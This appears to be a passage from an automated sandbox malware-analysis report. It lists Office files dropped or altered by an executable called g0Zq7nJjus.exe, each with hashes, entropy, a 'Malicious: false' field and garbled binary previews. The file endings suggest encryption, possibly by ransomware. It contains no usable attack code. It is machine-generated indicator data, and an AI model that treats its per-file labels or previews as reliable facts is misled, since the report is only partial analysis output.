SHA-512:	4FD5F5CB5D0F459B36F438D0E1986E44A5502AF0214D187A6B977A05F411B5A787C5CF3CBC1B1D5D61D8C3C195A1198E5B1B0A921E813E1322933E524B39DEC1
Malicious:	false
Preview:	..1.0.....f-..}.+.#.a.7.'....U.`...3..].?H......<......u/ZDhdbn.g.[p...(b2(..K......^...q.Eb#S..:..\|.N.....dt...$5..c.n..W.~u......._8(..gdD.S...E ..o.....y.z......b........K...^<..#...U.D`..+.}TXDN.{p..7,C..d...J.f..2.R2%.....<........8..W:..+(..Cy=...DW^......2P,\g.......).Q1^.}.....o.$rq..y.G..[7l...CT'...F........i>...R.{..g..u.m......O..>.;.........i.=.P<....E..%.....[.r....p.T......xt..)2Vjobz.L......,.tx./Tn.W.........].F......R.~...^...[..(`...~9.....7...\...B.W... .C..!..$..;8.OvR..zH.......s.r%./.O...u...^..Fw.eV....AK..E....@....=.i3 .8.p.a.o*.3.s.9F.SN&8.v.. !j.d.]..T.......^.]0&.ji..\.]5&%..J9.w..Y......D...F...4....~..S..U.......$C...-...rb....\...m...5H.Hr8<..:.u......[.\|Q.q...cX1.QLeI.&....=._S...i!.QC..L...t..'v.4.4.1".....}..`....uf.{..}<...R........5...........k+..Z. kr.>p.......o.....}g&t...&.b...vx-...jc..^.c..Y(#..o..N!...<"4.7h.j.LYt...G.;.D..v.h..[Z....8..%W,."Au.?D.Y'].!-.yr.?..-..>k..4...7M...>.9B..t...(..[.3.Z...VQ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Personalization\Content\Anonymous\Insights.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.69406333269395
Encrypted:	false
SSDEEP:	12:LeXnHt/dgGz0us0yJyNpJZQSraNoeN+xi1vrfJNoYrz3xZbjmSUdNcii9a:8/dJzs0yJyNFQWdeExYvrhNoY/3xZbjG
MD5:	6949188BF23EFDA3C93C67E85B5EB21E
SHA1:	9EC0374FEC9CBCF666B57EBF77C1A369D643F7C7
SHA-256:	FD99FA6D88EAFCA1DC30E0070FDF2220657E62945DEC95B5D708FFE66CD4765D
SHA-512:	C5A37752DD3B2837E6E59DE8A573A7E0D794B0E5B40D7C98D2B1771E6FA5E1080A6A5731FA5ABCAA24F877BD6BCA08581CB1A21A64B9F7F060792BD80643A0E9
Malicious:	false
Preview:	{ "Met..b....V=5...O.4.>..._..../..w(;./L..s.....N..Yt.G.....V.!.$<{..]P.=....fR...wU}}.` ..w.?......~hW...1.a...d,i.Ua.[M..U>..F..d..P.^.........J...!...w......E..\}..3\......Z.mA m..u.M...C......[.O.j.K........G.9V..E..-Z,...[...~...`.*...{%.B.....g......y.(;u3.U..;..G\|....q@.u~E3]0)....ZG.S.#.2vz..N&....3K.......K...=...:..(.....T.714..7H.U..G1...9?}%.:>s..l.<...E{..qG..O.....P._t.....N)E....$h..N..4.x..&rOD.f.....6g...91...r.D...... .,. ...A6..G.eS.A...Q.a.......{..LB...$....[..#lD...p...n=w..<.!Z.&.F...H.{mxH..G..0B......!4.7.D{....X.`.&...%.#:../v2.P..tp...Y.f.........$.p..9...F"/.?..W.M..b.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.5294276056478715
Encrypted:	false
SSDEEP:	12288:a/ss/5TSSFQxdXSZlV0N8x5thr291gess3TylunXB:ax52SaxB
MD5:	BEFA436D1FEB9EE4D72122D02A16EB3F
SHA1:	54860D2585D2C15A76812A5BDEAD0564BD3F7958
SHA-256:	5139140CB3FC18934CB0E9CE56F3815602E59EECB81D672B392C05BCAD69BE8C
SHA-512:	88BA1D8195085C5F32CA7DD7F6C6A013D28F766593F6AFFABC9DF9FE08BE73D0FFD2F41B0C06DB0B45C449C754504CD6694F250D4922825B0FBCBF2203D9D8DE
Malicious:	false
Preview:	<Rule.Y.._.v.....X4...t0...\..TI$...&.[^...9D....$>...Im...Y8^W.U...O..L.5&...y...r9.....\.Dx..',....&`Vd.+B.6yO....`.<...2`...L[1k.....vz`...y.?@.Ty..Q.....u.$w.8........WWY[.b.w,.3...\|.;x3.6..i...."OA....l)..."...2.+I)j.1...X..[G...~.DH......c..c.>2..l...P=.[.9.K.h............5..<..O.q.y....T..2....`Fi.4.SK%....o..c.2.I1a...=. ....G.kB>..g..I.4...G...?...C,.r.%..1..B..4..{...`?...j.r..0n.d.\|.h...%...d.F.....@.d!.A.......Z8.j>3....kk5.8t.....>.~A...5.eLe#.f....jkn..ol.5...[.;.v.N....EO...,{=Tet.J.. r..a.I..A../.?X2F....z.;;l. ..jz\.r..[......5..S...&\|t......B.\.Q.N=..mw.R.{.{d.H........@..N...p..8......t.P.AX.._/?.f.D...O'G..G...h.=.+9.+...z.-...H3.]...Z.Q\...}I.....x./B1+.......5nw.%...g.....6.XDRF.y.,...:.r.O.........:U>..d5..I_.E.......d.t.....eQa@!....c..1.........k...ICn.&..........P..y...V{V.......Y.$... i......:jN.Q.1.xqb,5.L*.+Q.Z.0y..Y`....g....z[.a.$KqVd.o..z<......vl.13....T...{.=10P..:Y~U.G.ZRE......~}..V:.h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.954413818986825
Encrypted:	false
SSDEEP:	96:LAvbognWJlAbamo6aYBer8sC/8m8EH0zE8u/nExd1VWir1O0d:IogK6umoki+TmE41trY+
MD5:	9154CAE39753A02E4F49FAC89770A384
SHA1:	4D4F23F0CC49DC408326641AC3E3C8F53E3E4159
SHA-256:	BF9686B15E3BEDF403C8CC938BDB56FD5FFC21034FF05159D31772A3F1D889B5
SHA-512:	3467D2D90C21C1BF36FE33508CBD4A0754A0D0DAEAC302A5C7392712CC855C5BAA26D0AC56DFCC953F9F6E9C81CBE395E3824A5047D5D3A1E784DB7B72CD4810
Malicious:	false
Preview:	<?xml@y..K_.}..A..' x....y....DFW.F...Y.e.y.C...J9..x\.$.........4G...2...{Q....ze".B..U...2#X...G.%.H..6....\7...2.&!.x(.ac)NH'Sx.L.]..~...7.O,.X.].T.Z. ..]vEi..)....f......5.....b.ng...S.>..E......Z_.\|.....p>...bc.w...@C.....U).{`.+.m.0.w._.....>......#H%...h.......6h...7....L.b.ux.....8.).. ....w.w....(H...&.......`..B).D-i...h......4.c....4o^.Ui...jS.{.....I._)UR...t.>.h[...4g..............X\|@8.4.]..Ln.s.XH.....j$.G....../f.$X.8...~...lI}oN..aj.,.......dq..b.I...O]i{q......t{.!..?TcX..V-..uz<E...qs.'}.h4{....x..uAn..M.R_.g....h........`T!V.0V...P.P8".0.nW`...W.WO.CK...."....'.P.r.Im....X...J .cH.R.5.o.]%.\..;T`.&..3.....lg.#Y{......O...B......T....I...D..Y.....P....u...-.........3....D.....My..B....R.y.c.G...6..n h.ZX.?t..4'4.Ams..W;p.....T.NR+~dd...\\....r..8.Wl.px..qnZ...W....}..u^.....;..,..jo.o.B...*.(.-o.........y.Gt....B.h.7Q..E+'.Y.5Q.P.Rr..J.\|...n.N.=JZ3..Bt..B\v...D^fR\|....f...f....>.;wP")0.%....@w..."....c@..H.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.962555658398091
Encrypted:	false
SSDEEP:	96:WFk3NtBnpOKIFeCGyR3UbksLl9pZlhWaFDynTYg+3Z34:WFk3RnsL3EB8yDkTYg+3ZI
MD5:	4534BD8ED107A749776432208B8AE368
SHA1:	F14025646EA4782A17C4004B6D137BFE43D2B19D
SHA-256:	C5A98FB0B2EC17ECEF607D777FC7FCA620C7FB79C633EC96DCA2B2CD3C41A8B1
SHA-512:	F5AF4EEF1D7A73251BFB58CB0DD3CC6E77C3F24172985644586B5D87EE5D14414384F8F838A6C87B94A732C687A1B9F1C8386841BB9A1F4EC410140A7D69EC30
Malicious:	false
Preview:	<?xml.;.bd.b7.2...../.g...cw. ...:.nQ....wU....U......:.3JU.....r]3(... .w.....Q...%...\..R.v^l.X..w_...%h..#h.F.W`.i.#..b.Bd..a.5...q~..!..e....L..l..Xc.%u...r7.).....o.-J].....n...+..-..uS..#bkI.J.A..'.......W...q....j.......io.....EO.2.{..>.;..%?.J...:...\|p..m...B...\s....@ .o<.5O..B$.:ah.j.3.J..f......B.\.l1X$....F$.)..fV.vr+....HY.<..A...^w9a...,y......Q....\....+8..A<K..Ij..X..q.)/.J.j.9...K(...5c.o..1.9...)0...ix%SD-.B...i..2..c..K.`..k.&.a.p....>........w..~.."t.....@ITFTB.Q....l..&........y.].LZ.#.....O..N.....hYr.ht...........#\...0.)c..+.......X.(U/..E.............R[..4.....e@.p.i..W...-..}..I....K9UK..E.9~..?1{an...#.=\|...i.s..{.\.......#u'&<q-.8y..rmf...I...V.g.#!R"..3X..}..9..M.A]1....,l....]...>./B"4.........z=.....#5J.0C..G..C....j.....$.u...2[..'........0.E.T..vI.....FU.u.z..i..p...f.......e.a.4.....a..4E....Z`..mKW....w.?.....b..t...F.P_.4.Z^.p..N..R#. ..W..l..6zY...2....Z.\.y....p..].K..g.C?..$.RAL..cHf}.9`..!...>..F9.9..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.929233809056319
Encrypted:	false
SSDEEP:	48:7RBK1tLApdi3Kcd7SnDLfKP4U/Tf2g4H2SaQ0vNoc3m96jEbpD:7RB4tLATi3dom4U/N4Wb7NoL+EbB
MD5:	0DF4E38AAC6D89AB812CAB3D68A40F35
SHA1:	B6C1AB819A72B3F7DE58FCE0A6A88D958C83B784
SHA-256:	BB42335910E548535151A3FA33F018ACC81BA70D331D5F62985F2A711BD5A698
SHA-512:	B7257C2FA3EF6D03A5C8F53A70E5B39C9B49E8A2179695BCFB0ACA7DE451963415AB3455A784570DD6916084C7F8F7BB14EC050B6BAF3A0A0D28A3D393DF115C
Malicious:	false
Preview:	<?xml@..TE..9.(.j{ba.$..i.~Z.l<.p:NW.....t`.5....G`...........^..^...k..F5...:Q.K..........}....V..lO9.^.\|.....B[..(.B,0<.L.~.e2.J=....t....R..+.j...v.'..L.......g.p[.T...W..O..R%!....HO......G....U..-.../..1.}.....l...WN..n..L.dv.i........{.>..G.F4-_...nHG.9-"z..[H./.r.5.~X....h.GGh......!.bR~...B..@....\....-..1i.....EE.i.U..P....1j..9.B$..>UD.j.--.u^.....2\|.....8Y/.'.......t..NW..Q....T.. .u7B.Z.t2..GIu.....&..\.....w....n......#Z.....p2..........p.2...../.V&....t..Q...i.mx%.....+.B.C..E...fO...o..,...".K..q8..!..f..T..r..\.H3...b...........}R>.d.;03.S.......`.5@.....h3-.....!;.......A.......=..U...42...n.wB.......P.8..=.W.T..X..I.U.U..y...!.y..#;J..U...mS...._.8...WiF$K..1BH.j..1.D...-L.B.8Z...2?X.Gu./..!v!C..v..#.(.e......@.Sm..M.k.%....h{.p*..KEg....$....%.E- .\|=%....(...\|YQ....v.f...RGv.....6..."..-...c+..v.yd.X<..`kF.P...A7.%c.b.^.4...#.R.......q]..B[x...._ d..Z.<..P.v..........G.y..{3...O.q.e7..^.cwQ.d=F!~pEY.;5..W..v.:1v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.968760999320635
Encrypted:	false
SSDEEP:	96:3sL1Y1T39rbZM2jI9YaWeo3tRtg5ZuTuzunadbDPCBdecyiaGx4g+dHvCEK7PhR:3sL1YptrbZjTewgeizuabTgdeziDidHI
MD5:	BE7AB40D782043D6F397C377D55ADA75
SHA1:	32263069689CDA069AFBB48C9027EF1B685F5987
SHA-256:	730B11E776FA8BFFB058E789007682751D69619295FFD1A509B48C0117E16469
SHA-512:	235068D9725A501EC4BBD88B27280CD22054BBE5936911739D4DB6213D698737046FF0A2BDAE0927735712D1C7EF837CE7319BFF56D6B99F9CF8FBB87CAC3C7C
Malicious:	false
Preview:	<?xml..0.>.vK+......kY.\|.:?ob..<r..0..[..gf.7[.#..n.66`......:......J. ..S.mhK.:...M.L`......g..z.AW,..xasu.;0.....gq.JGd.ed.E}....`....=....[.l..@T.~. .........^...v........de\|c.......!.l..Yuk..e.,.....@b....yd...jQ..I .....%/.....mey3i+.a...N4}.i...o..m.Ny~.#.I.$..d......Z.8..WJ.../.&.9q.......v.>.A.0.m......AO......#...S2.t...e.5,)Kn...n.D...h6..../;.N.........j...n..fo.0.d.P...\`.Y../.z...p....4......,....\{..E..\.u../.#Z.]..m..X.\|..1$........#...AD....u............!..T.}.&.6......S...`!%d.0I.j.K.p...g<..S..<7@'M...ZV= ...@.}......y0f...w...[.?..7X#j..)..#.^........e.C.Yu.........L....qW..)X<......~.....E?..;.......z.FN..K.F....x:Z.....5.....h....9...j.'j.....o.%,U..=..\|..kIe-...4l.1......FB.G...:g^.xs........xS..?,D.........b.+....xb..N....... R.c(Ts.Uec.5.~.7...#.?..FWz.n.h.:..w!....P.c....h.........w...b.?..s]..mu68a....$.....J...\.a[Q..f .?..njY...9.j.g..OT..'..'..T<U....c=o.[.8.y/u...L.x~.....I8..x.{.F6....A9.#.h...E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.8982525930114855
Encrypted:	false
SSDEEP:	48:VJxf03R96mM7Pf238G+EoeWvj0TPrBw/GeEFHrbzUktuj/b22oAD:Vzf03OtsLoeYOPe/G3Buvfoc
MD5:	39380AED0181A1AABB4B50EE6AE190C2
SHA1:	5B573C21A9A3EFE7138A6660EDBD20D2FF26A053
SHA-256:	59C7ED33398FDB38510548DF685E08DCD4709781383DD59B41925F378F671842
SHA-512:	6F83045C0A8BEDAE3081F6C046F86BCB4D3F09208813312592FA9624D10DC65DB538EDA9FF4A27FB4F6F0E463A5EA2A8A7B939D1C63DD16A3C797A89FCD51D3A
Malicious:	false
Preview:	<?xml..T.,b].......{.%0C...M.....{..&..cM...)....^L.+..E....I..Ot ..=5...h.....,XO.a.Y..i..2..M...H.b..O.[89..YO..L.@...p8%%.OJR.....i0d..._!..t..Cd....$....Rh....wx.h3.x...A..i...._.........6..?b..T.G_-....AB;...._..$.`.uB.R=.....6.;c..Y+g=.)).4Qi.c.....,JS...`X..0^..[.....6.........+...g.&0..2.+.z..s.+8.q..kj.,...a..S ;..0w..Z..pw..6A.W.xJ...x3....Z...-b.g.7.........u..>r...}O[....[A.C.e.c.....Q....'......^.>=I".........87..~..4..~<Ti.....I_..l.}h...NDi.$X"......w.x....cSjIk.>.E.S.f..j.B..g...@,..Je.B4E.......F.W...t6..E..7..L.j./x.Oxr?f9d...P..C.....\....3/..T.8.....^.F.D..{:.S......u`......k.us....y.q.{2..K.'.5.Fu>..'..Xb..Z.E...+...@`0../.S.D,..I..M...JV........U...].!.$..&sR..SH.aF..^...pV.8..p......L..S....0.@..M.."...O..f.-8Zf..;GQ.....h.k........q(.....n.<.v...(WxZ.'<..q..].....A.."..cg=.......2.q..%./..S`...G.zB.4OO7T.3...cb\...rL.+.8n.U.+Kw\.AZ#..4.o\|..F.#Bb.*...?......Tv. <...9.4S..C.....Vg....O.C.AL.t.`./W.z.u....{.I.`x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.778208612409443
Encrypted:	false
SSDEEP:	24:AvF0gH/qJl7ZAG5bfTMkXYSprtPth41ilBEMbZl42bD:AtJqN4BSprRhD
MD5:	FEA069D67A5AB68D6C1B8664535F12E8
SHA1:	27A176D4D2E3FC2A64659FC6367E5AE566A704E5
SHA-256:	E06EC7CA1C08917A7B2E4A619B2642F5768CDE1D0ACE3517325F7CE7D3A07CE1
SHA-512:	0909A89230DA7CF46E3D80E06568DEF62EA880F7C7AA54382C82E7DB78F6E1DDE7E6325E65F2AF9DC023C0C720AF156AA9D4EB3AEE865CA88C3DDA800734DCA5
Malicious:	false
Preview:	<?xml}..@ ...S._...w7gd.0..L.s....;....B.c.cK.Q.....G....Q.......~..l......8mz0.$.c...F.h.F.SD.....M....(.._...U..#..Z.........6..N.5..b.....{.[q1c.;gn..g[..G.YZ.....d._6>V.=.j...b........h\|o..YO.ey.3.K;....S.........[...Y....T...C.-M...JN....D..qA..........h...c]....:.lX..b.LX.8..t...t.:.........8.\.Pg338.L.p^...l....5T......Y.T....V....8...v..S..b.K.M..d..y.....G.n...M.....=<.....D.w.I:%MH!..F.N.<X....@B.c....~....g..{..h(eC.v....<3_.....'.O..h.Ou....=#v.....F...2.OU...z...Z9...._...5qcz.v^..<.....a!.......d..r.n....z(\|.X.%p..vQ%..V.hDD...~....L{.\|..C.x..a+p....^.)..7................}#`.....(I........a..So.'..h...{'Zfr..2./~.X...Y.!..@.1..{V..-.....Y..?YS..d)....m-.t....m....W...r2.R.0...1.\\|.W./......q...i...........J.\|.=.7.R........3>...y~o.Y..?..;i.R......l...S..I..'L...)..._w...y.+...jk..[JX.d.u..>.._....5.._..^F<.5..5.Y.f...!. .3...+..c...~Z..u.:$.{mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.9183570909174295
Encrypted:	false
SSDEEP:	48:SokbdjtCnMzqClBV7G5kqJJH9uHcDYn6d9AEN0CIeijC3D384c2sCoIPIUu+tueR:SokRjt60BV7G5kA+HcaEZ8jCAFCI4QeR
MD5:	D80216B5A8DE01CDBAA6F43D9C92915C
SHA1:	7978E504B00C7FA755F0451DD5BEA7D05BA9B342
SHA-256:	36B491E9D7B5D0E31A3FE81E9D72790945BF49E6CB0FF6879EA49FC563953234
SHA-512:	9E9DA6C63FB0F563606070D9817D1E23B2458CC05BF738FC83F551F4E0D5C7760FB783F3151DFF2AE907FB22CC5F0BCC698AAA0D30508DE821200FEEFC597280
Malicious:	false
Preview:	<?xml.%..M...P...&...>..z.U.&(#."..m.TF.\..s...P......G%...@.x.N:j//..c.vrA..a.......lZ.....le.>.(.z.<<(T1.RF..5V....G.+(p..!.....,...V]...O.......L.\|k...+..".!..L....q.S]F3.....F.25....$.w.`'..F.....>E.... \\|...;k.u.&..I....X'. ...Z....m.n...&.!<......>2G.%....4......J.e$._.dR8.\.....9.]2\|.&.85n.bdv./Uy^.jB.....%j...n(........b...T..' ..aw#'.`....9.Z%'?......,..c.L#d..p..6.V.=.Aq..l.1.'....n.Yd:.h..k.>=(^+.o.As._q\m..d.....J.qs=:.......4...mF3.;....w.\x<HOC.!....:.../k4t.E ..`r..F;..bua..&.\...0..qB.@o.O..m....p.\...L+..b..#...................2F..:......2.0...x...`..`...v:$&..<C..tH]xe....Y.>)...d+..m.%6P0$..!+.....:..Q...Y.&1....Cw...%:..6...!..................l.............~.....v...(....5J...QD.w.../..8..P;.2`E.s...P+.4.F.1.l..g!.:...d\|.# hD..O....o...#.1(.L..:.=......7....N....~....Xxt.%.=:..T....:.._.[.-.<`.\xP...&..zt.e......7.)..>.5Ac.b..0.mZWGin..82)U...0T...N..5b.d/......w....J.b..h.L....s..>........i.6.. ,;....\|..a...DRR+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.980844378580312
Encrypted:	false
SSDEEP:	192:DBHvB1GShFvRGyTehmnz+QXJ/WyscV2qKbOPC3t8iAoLSoy+nt7q6KjB3TQW:DtvB1bFZGinBJu9coXbyWt8ESF3jBjQW
MD5:	AF5CB9546E7C86EEF3A92D1AA8668392
SHA1:	D01DC8669D9AF2C4981623DF81472DDD7C617F8F
SHA-256:	996763D5776F8858B96336D7D2D4165B0478025F567D80A2F889124E87F23628
SHA-512:	5FBCD2E359BEA3D1D58A35D061878D4693A76768DB59875950C419F0FEAB77E412885798648B7AC2E56545FE116232FA15A9625FB470B1A21C91D79BB3C3E2DD
Malicious:	false
Preview:	<?xml.{...!...Z.Lc....o..o...6.. t.........8......C&..`...p!...[...n.,.. .:..y}MYVM.7...l...\b/j..a..k.,.R......i...K.<I.c..^}....Nh.\|....c..=...S...Y6.d]j.E...D/`....C......f...J..@.....?c.:U...Tl....X.'...'.)...d..p./M.../..e....%2.\|[..r.'.Xr.r....]..58.lz.^........h.3.........@.....q2!.."..-..~!..V..p.Bqs...,.... FC.(2.D.^.0.l.._...H..C.}m.f\......s...j..G..B..zF..4.?.Z...%..2..Q<..tT.[..nm.[...1....7..~....8..."~.2............O.._=z.9'.q.{.7-.V(..o=..[F.B.\..C-DDw...5.S..]..P>..X......k...P..f..n..R....`.....(.;.@qX%.\.]..vD-.$u.......r..x.)...W...)...c...y.E../....)..m..5W.,k...^."5........'OYUF.!J....B......FO. 7D?........$.........]e.()..)a........FM..24..ycKq...!.<^V...b$,dh.l0`...&o....x.".L./.G.........>.......X.....X.4.'.tN......G...6_.].i1../..6..Eq..;..<........}..l..u..x...'..g.oU.7\i..78.s.....?.k...io..^............v.{....>;....(n.i...x.....9..Z........v.....O.<.]nc.a.......E...../.\|.n.....+F.9.l.w....w.....,g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.735629321934941
Encrypted:	false
SSDEEP:	12:dRDNgkjY2Y/pNl7HxNKY7Y/odG5YJ3Oflbu9od7m1C+sYqr2s6iCQL5SUdNcii9a:dRNPYv/LldNrYTsElK9fqKHiCuM2bD
MD5:	19FB287AED0CCE758203062B88D61C48
SHA1:	7E7CC4414A503A5F9F3FE6E366FF601E847CFE2B
SHA-256:	FF75AD1D3835B23CD8070ADCA10A3889054ABD2F42BC8C3B859ECBE2DB1CA384
SHA-512:	D150E8C72AA8926457FFEAB8160F58D01DA14D4366FA2F51FA274075C77567EC5DB7180D982FFC9D11234F09C32176AD4A6F34C7576F8B91867760EF2E2AE0EF
Malicious:	false
Preview:	<?xml.i.6..^,xi...P4...S._...eC>.._.....v).:.O\|_.....r4.$.....<s...@. N......9,m.A.Y+.Q.[Q..9...&.....M.7..D..Bj..X..b!.BM.)1_[..n)...C.@K...Uj.`X...t..D.]2.H.?M.a."...._4Re.L=...7q\|...\.Zq8..<3...x>.....I.P...m......../d........2b...iF.&..d..1&\.?(.3.....).a........>!:{.w..wAS.N.V3dy#XO..e.OwF...I..;^.....@..9.Vn.....L.......hw".A8..$q.:...(CL.).8..!-..}j..?....W..4..~y.3.T}".h.].r.....y.=.y].h@.....7.....W!....<..m3......m.....m...OC.J..h5V.K8~.k....3...m.....!-..n..._H.Y%.s.\|bv......m.G....{....)B....U.St.$.0!)z..I..b...Lc.W....q...Y...h..r...=f...V..}..rH.2.VT5...V.D.;7........=X....J..{S......$%a.7.....Tt...}.....#..hh.Yf..ZO3Q....H...a...6.........lc.....,.I.....U..5]....[..e...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.700395527991832
Encrypted:	false
SSDEEP:	12:UfYnqH3bA48uuUGoR+E+S1tN1mzwZz/S8kcVsXZYQkTpAqF1VSUdNcii9a:UcArGcz+eW+JkcVm/kTmH2bD
MD5:	F5171999A3A1746056C8C8A212F74405
SHA1:	83FB2D022753EC2F46E4833E56B41ADEE63D35CC
SHA-256:	06C2091A1A74F954346C5772A037C61946633322D6AC18615D8BFDE709CD40E3
SHA-512:	B206FEC6608E62D550EB814B02F4CF24F14B26E01C6429BD2938DB04CC39E699CE6E259700FEB2D77FC631A6074E12B0199B424DAD4FAB15533D701166709618
Malicious:	false
Preview:	<?xml.:..T..;pBc..,.P1.l.D..........}Kh.........svl...H.....N.....3`..[s.....B...k.....j..........L.G.G....M.m..wq.^hT.....}...i..b......yz..f...L.....u2?.rB.@.L>j..P...M..b....$......KA....AX..SL."...qA..2o....Z.y.?.;.Lo.>....!.H1d....e.~.F5.....lQ.......W..M.....i.%...Sw.$,.Zsr];V..;.........a.=..3.G]`.9...=hO.b...1.......J].._?..v..lY......l.K...j.Z..X.7?a.....;.Fz..oH....O7....f..W.3..='k.../.jH..s.....-.....A..8...[..M&...i....Jj...]...._........I.v..NS.~0.;..G..Y.q.`..Z\.....r..eJ.rl....sjO..P.Y..f2...g.#....K.c=D......_.+....8.%..Yj6.{ +..5...(....hk.s 7.r..k... .W.I.."].D.....m..&.l..O.x\"......^..J.G.1U..r..,.k*..K...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.877311470560806
Encrypted:	false
SSDEEP:	48:DbDImbxCxM5/2qTosLtu7jFg0+ti1XqNl3sCLcMmMi7D:DvI0xMM5/3TRtKjD+tymtjMMy
MD5:	6CAAFED2313CD9871D595DFA88D7C656
SHA1:	92A7D8909F6E847BB278026BAF685C92AB94B369
SHA-256:	D264DD17E5A381C66F2FBCB50FB014A473F5AB670F85E3FC55444B824B098439
SHA-512:	E8EF44A61D2E2F08771D7F8A6A23A6219434B02C595AA9DF499EB6D7C47A244B530D2A0C7CD7F9E59328A74C44B656EF369C9FD9DDD537538535549B20AB0748
Malicious:	false
Preview:	<?xml..4....`Gq../m7..S..v.`.X!...X}.../.r....;\|2.......0x....b.t.....,'4R..Ll""p...,.j=b]...h.x.l^3....(.........x.A.`.m.-)qF6s(....B.n.F..ix.......5j....h....n.Jl.....\..t......T.L.".......$..K...A.....Uh(.....@+....;.~y..BZYA...=..}T........I.txi........Qv.w.........u..]..p.9;..l..u#...ZT.#L..A`E....=...7.j<,..N[...Uq...#.f..t.Z..{........./..9H...c.5q...`....9.<....zE.L...S\....<.2gq....;/.m.h.I.r.`...H.n8..I<..2.`Tc..X..E.j...4ZIQIo.dW.....%...i."..+a..V.&..b...:#1`(..L;3S._..}...QP.:@xb!.b.6.c.2p.H.0......k.......=..)....=.$x.......!2.!.w..Z<...R+sO;... )..s:@.......b...+...........F.......;Q! h..-.4...G..+`..9...y...)Fs..$.\.N..qG..b.......Gh....Hsy.\f.'....l.....y.6QI. .Nd..X.{.R}..U(.]&.G.D...h.r<..0.1....0=.]7....I.../.!...o..tD....o.3....f6./....k.70...7Ox..f#.b.<<5....!.*7...........~..r..bv=g$...u.Z._..Su.l...f..F=?...p...G.\......m..t6X.I]4.^.Kr..........:Vv..7.....k.i.z".F.....\|......G...6 x..(.)F...`.......F.].h./.E..9..//:..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.755615077326723
Encrypted:	false
SSDEEP:	24:pXnKfrGv61DIpOgOYiG3+pGWABAf2z8Z5hyiC2bD:13v61DIpUYjoVEFq5NZD
MD5:	36CA4AF9D42ECB856E306AB4FD162875
SHA1:	4937EFB0E15E0D31350B26AD39F5381C054B9EFC
SHA-256:	9AAFFF0A4A7FC0183A834941A8CA6ABD01CD522664E2067E78B9352E7B073BBD
SHA-512:	A91837A3E45146266D23376F33337B0F78AED8C7F018E2F02F951FA5B7A0E90263C88639935F35F7E5C95F6750272FB515F728CE19826EFC84E60ACA560C4E73
Malicious:	false
